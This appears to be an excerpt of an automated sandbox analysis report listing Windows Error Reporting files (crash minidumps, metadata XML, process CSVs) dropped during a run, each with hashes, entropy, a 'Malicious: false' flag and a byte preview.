Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Thu Mar 28 09:26:51 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1997650
Entropy (8bit):	2.5229756796403207
Encrypted:	false
SSDEEP:	12288:xD+nv2Ji9zQktr0sPeXa0Q8eOvKZgyKNOqvNw:29zQktrua0HOqv
MD5:	3F0D1C69FF9186B02A08A7FF3F4EF3F8
SHA1:	7D5185EFBFBD7E68BBF6250D7F1153E08BA87A16
SHA-256:	FA23AA733378CF84081BCB33A9DA682B023760428B8EAB6859489EF01E53C881
SHA-512:	33EDE8D3FF14F14554818B7B8FCC0584A84A7F69B8FFD2E51FF0A0BD7A58CB9C51A08734F07BF1C28F2AB34476BE73F219223DB4992520A8533F6595808648EF
Malicious:	false
Preview:	MDMP..a..... ........7.f............D............}..d.......$... .......4!..D.......$/..v,..........l.......8...........T...........hz..............x...........d...............................................................................eJ..............Lw......................T.......L....7.f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6FA9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9010
Entropy (8bit):	3.7153949198242104
Encrypted:	false
SSDEEP:	192:R6l7wVeJYBQ6Yrg6bgmfWqDprRJ89bVpsf7nm:R6lXJeQ6Y86bgmfWqfmVyfS
MD5:	7C48E900DD0A523002E4D78AD01B5125
SHA1:	20FF346E51B3F3303847271AB36D61674DBBC1C9
SHA-256:	8FAC68C3B53209166540C692DF20A03DB750829F83B419E1A73618165B3B73CD
SHA-512:	04CE184291E54B3710FAD85DD2E2EB90D358A0E9A89D344857181A9976536E0CD3BBD671955FD06DF3A8E8AB61922036A51C39D1B42D0DA3445AE02F38CCE27B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.6.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6FD9.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4736
Entropy (8bit):	4.494010942793195
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg771I9mOSWpW8VY8Ym8M4JNjIAFGyq85zjwd7svS2qS8nd:uIjfVI7Zw7VAJNWBd7sK298nd
MD5:	51EC8F95F21962FB70BBB4951616EAD6
SHA1:	A15B64C6D81F20B14B038092732114F4A18D49A4
SHA-256:	462C64E9D580A9021A37293F5F325B1ED18B4119FD7454F786409DB278893830
SHA-512:	C30BE77D0A038DDAE5F30883D89C69EE1E6DAA95D98F71B924DA84F636CDB5C2018E586AD124AA225EC18D421662DD069D6C6440998E630D8A53E0848A1F753C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="254909" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6FED.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	80564
Entropy (8bit):	3.0218655421924603
Encrypted:	false
SSDEEP:	1536:CsJzq7l0INmjqvr8LMQZAVjYJBGai+z+8T+yT+Uva+G+Rp0p:CsJzq7l0INmjqvr8LMQZAVjYJwai+z+j
MD5:	274E59170899A3C53C623E1257096742
SHA1:	5B87DB7AA7B89E046720B7442565F9CFC319861A
SHA-256:	35D8C59C021E07D603DED30B90554748A98DDEDD2DA8D77E50F3D3E49AD6CB1D
SHA-512:	E92AB982D3269DF015DE98459E236B0B82FD82523306C501652F01A4F51A1FB321F1764D829B9ADD8C9B49E45C2CBCD494160BE7BB2C8334596E31B01F98BA35
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER703C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6853094000871605
Encrypted:	false
SSDEEP:	96:TiZYWi7m9aYrYoWgHbYEZvGtHiGMnbo5wwfyRGMaBbzMrIfIU03:2ZD4MV6KGMaBbzMrIwU03
MD5:	5E916AC5F867DA12BDE17AF47C9928BB
SHA1:	AF2F67EFFC68976D96FF120597712029B527AA18
SHA-256:	6ADF205478D8E38192686E04179BB3107170F02AC1A8B37B8F73E457EF457DDF
SHA-512:	1B50DECB92E586606A105CF70F26A9077A52D0AF84857E2DEED94E57C7113A0646ABF02CF0D55698D110AC1C702ABC839B0A5F389805D89FE4F138A9A1C3EA0D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER85A6.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Thu Mar 28 09:25:53 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	2019287
Entropy (8bit):	2.5847697712995497
Encrypted:	false
SSDEEP:	12288:kpPh0ai329nyZUqJA4gfQVop0T92iZgyWNu:SPh0aEuuUqfgfQVk
MD5:	C8E68C0744F41B34B6249B0947D24BDB
SHA1:	882A2FFCAE19EC1E7E6D97AAF0FEECC9A161B0A3
SHA-256:	77AF6998A867EB4EBF701502E64561DE76EE5240E65B11A3319B8B782B5D97C8
SHA-512:	EB8527182F8A6F79B30412CCF957E4FF5FE63A7B0BFABD866DD4276342894DEC1AEC6C410849DA37BE21A6D0A2BDFF5C970779B04B9171B97F4BBB77F95BBFD7
Malicious:	false
Preview:	MDMP..a..... ........7.f............D...........(~..d.......$............!..........T4...,..........l.......8...........T...........0{...T.....................................................................................................eJ......P.......Lw......................T.......\....7.f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8BD1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9030
Entropy (8bit):	3.712641936786437
Encrypted:	false
SSDEEP:	192:R6l7wVeJGH39T6Yrs6/CYgmfZj/prw89bP22T2ffFm:R6lXJ239T6YQ6/lgmfN/P22CfQ
MD5:	27AF30B34C654E7423254FB734847F4C
SHA1:	CE2636A13FD644EA01FB28669B23A3F2BEE409CF
SHA-256:	D36CA0281B7C2B1CFAC6C5FB4A8F1C5DD5C3A172BE8E6EF3D06AB5665B3BEFBE
SHA-512:	333B37728AD1B145C3BEEE656D7A889AE4ADC4D1A6F641397740554F9D022EA1053AD6C94E410FB30C57A19C1535E0F31E083B93D52B105423486D6DBFDDB983
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.9.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8BF1.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4791
Entropy (8bit):	4.491421770214888
Encrypted:	false
SSDEEP:	48:cvIwWl8zssJg771I9mOSWpW8VYrYm8M4JKE6Fuyq8vwEfd0yYnd:uIjfqI7Zw7V/JzNWNfd0yYnd
MD5:	D366F92DE4A4A6C453B4E4AE77981AD3
SHA1:	7F5B025BCF915FAC49C613F0FA455BF85501A550
SHA-256:	F8410C2A19AB9242286E1A027EBC28664BDA996B086EB645A0E67BCDA82329B4
SHA-512:	4C7DDF1754863D92E3E3D9569D80BF9FECA69B4B84C83C5EC736E6F6D0F6CCEBEA70ED78009B1A42175E1A56C3E3B314BB53D0F79C956473B31305BEA4EE13EC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="254908" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C01.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79014
Entropy (8bit):	3.0223916058603995
Encrypted:	false
SSDEEP:	1536:r6COoGBjk6Jx2p1N2jojy2WpoNrOvB0wio:r6COoGBjk6Jx2p1N2jojy2WporOvB0wn
MD5:	5F17DE90D1896B1A78658DB8144FDF37
SHA1:	B71C3478573F42734B1606392C05DA3EAFEFCB1F
SHA-256:	D2A82562F59662196BEC6CD647ECF595F5AD44CB79AB19456FFD28449F7FC9C9
SHA-512:	A99544D798B73A823B320D3FCBD0D991767845BA842B162D1631AD3514BB9DF0A43428E5994AB6638EE44C9CF9125E47C23A5D07EC449F1101192AA2AA68F0C6
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C50.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.68461746517202
Encrypted:	false
SSDEEP:	96:TiZYWRGMWxOkYWYoWPHw+YEZk8tHipMFbdGwL+wBaDb5M6hMI403:2ZDRG/hfavBaDb5M6hL403
MD5:	0D40E21B5FADDA02641A53AB4226EAFC
SHA1:	8CF39B878D09E8F3221F5F1697DDBCFFE2B84FC5
SHA-256:	616CAE95C0940984273FA3F4CD5A9D8A5738941FD9226D22FE672163A337A94B
SHA-512:	CF8EB7190A6E81D15BBA540DD71E7FE77BEE94E16DA97FF399A43B676AA82096150E1AC76DBD4AC4C63569DFB315D56FFFB8339005D53B30A8C929D5FA87494B
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER95BE.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Thu Mar 28 09:27:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1998440
Entropy (8bit):	2.5085039242385943
Encrypted:	false
SSDEEP:	6144:LGyiweOqMdActdeG0Dnu3n2kLYXv3QwRhXXNBuvfyfoHCThhcmqZjCoOn1spGgEb:viGEOM/QohHAC9kj3Qgx+ZgyvN+q
MD5:	42EE8872D9D4FCA067FD06EE721BFF2C
SHA1:	5B021DA69507A43CFE8C61FB2C32A9008D9D3E2E
SHA-256:	A5AD1C76502A85BD881D2F859F935BB41F2F34A234329CDF438CAB05A5785A05
SHA-512:	6B98B5583563AD57C76A29455E5A3BA45CC9AF8E710A5C9C8D36396B4A50CBA96979B9FAAFB5B6E17248F94744DB63166DF2EFDA32E6C494F37FA970011A2E21
Malicious:	false
Preview:	MDMP..a..... ........7.f............D............}..d.......$... ........!..D........-..^,..........l.......8...........T............z..P...........`...........L...............................................................................eJ.............Lw......................T............7.f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9D12.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9012
Entropy (8bit):	3.715285661722071
Encrypted:	false
SSDEEP:	192:R6l7wVeJtlg9Rl6YrT6gigmfqqDprT89bvQGpfa1Wm:R6lXJPg9z6Yv69gmfqqqvQofkf
MD5:	B56357AD76E4DF08B394294A3C972CCC
SHA1:	6AABE9AC6C1C1D17CA82E39330E33C9190C88592
SHA-256:	52A5CBC429BB1C46DBE946BC6C54ADA21C691B6AE544200152F289A651D59C14
SHA-512:	E6FB7B76BDACABCA0335BECDCDF4FA0479C006E26FB2C3E398F83B7D514224D6A1778B604D8D983D3F6E7C851FF454734FBA336E71B85EAC63265B1F9E4A70D3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9D33.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4736
Entropy (8bit):	4.494431224706483
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg771I9mOSWpW8VYNYm8M4JuAFhyq85zRIdnQOnd:uIjfVI7Zw7VpJHMIdnQOnd
MD5:	E5A84076C72E75CEF30C2A43C7ECA026
SHA1:	EB983EE0F018160E844B355ACABB1DFDEFE615C8
SHA-256:	5A9F260456D36044640AB71BC0A5BB31084089B80243568CAE54F280956ABE6E
SHA-512:	316C8F1537B001AF309FEB6DA1E37A98ACBD4E6C81BBA4A2A6691CC16AAF2C894C9392EFAAA0EE530645CA6EF18B51A0D6DDB960E61353CDB7BB2D44E42804F5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="254909" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9D58.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	81766
Entropy (8bit):	3.02049387892657
Encrypted:	false
SSDEEP:	1536:9kYjD/ByTLSOJj+ouh8LVQp2rYJBGai+z+8T+yT+Uva+G+MoDbg22:9kYjD/ByTLSOJj+ouh8LVQp2rYJwai+s
MD5:	E403B6092A192C5DBC4542BAC44297D2
SHA1:	3A99D6922CF53CBC25EE27BEFF96189FB9969E4B
SHA-256:	5CAB87963263DB5659BF28BE0FB7B9C45486F4E7B0D48B938B18B13DE207517E
SHA-512:	C27D86EBC732F17892FDF0E3013A6D1FE94D5E271C60A48E11E07861DA6C523103FD62D55F860E105008CA42633A4395BC9747E71235D4F659D5B5E82E9CD75E
Malicious:	false
